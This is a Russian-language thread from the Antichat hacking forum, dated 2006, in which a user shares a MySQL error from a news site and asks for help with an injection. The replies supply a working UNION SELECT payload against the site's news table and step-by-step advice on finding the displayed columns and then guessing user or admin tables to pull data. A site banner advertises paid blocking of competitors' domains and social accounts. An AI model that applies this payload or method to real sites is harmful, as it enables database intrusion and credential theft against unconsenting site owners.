Mysql иньекция

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ОФФТОП > Болталка
Mysql иньекция

Опции темы

Поиск в этой теме

Опции просмотра

Mysql иньекция

09.01.2006, 18:32

k0ldun

Новичок

Регистрация: 28.12.2005

Сообщений: 27

С нами: 10719372

Репутация: 2

Mysql иньекция

здарова всем, помогите составить запрос

Цитата:

MySQL couldn't execute this query - SELECT id, title, body, status, image, comment, position, DATE_FORMAT(time_insert,'%e.%m.%Y | %H:%i') as new_date FROM evn_news WHERE id = 3682\'

𝕏 Twitter Reddit Telegram Копировать ссылку

09.01.2006, 21:46

virgoz

Участник форума

Регистрация: 16.09.2004

Сообщений: 193

С нами: 11393666

Репутация: 47

-1+union+select+1,2,3,4,5,6,7,8+from+evn_news/*

09.01.2006, 23:04

max_pain89

Постоянный

Регистрация: 11.12.2004

Сообщений: 592

С нами: 11269766

Репутация: 345

далее вместо 1-8 пытаешься подставить слово и ищешь его на страничке.
Если нашел... меняешь evn_news на скажем evn_users или evn_admin может evn_member, а дальше пытаешься угадать столбец

09.01.2006, 23:47

virgoz

Участник форума

Регистрация: 16.09.2004

Сообщений: 193

С нами: 11393666

Репутация: 47

Цитата:

далее вместо 1-8 пытаешься подставить слово и ищешь его на страничке.

Можно просто по цифрам найти, что выводится. Для этого и нумеруют

И слово это надо в кавычки обязательно ставить, которые часто экранируются.

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
SQL инъекция в MySQL	gadjet	Уязвимости	13	27.12.2005 21:06
вопрос про mySql уязвимость	Kent	Уязвимости	6	19.07.2005 01:01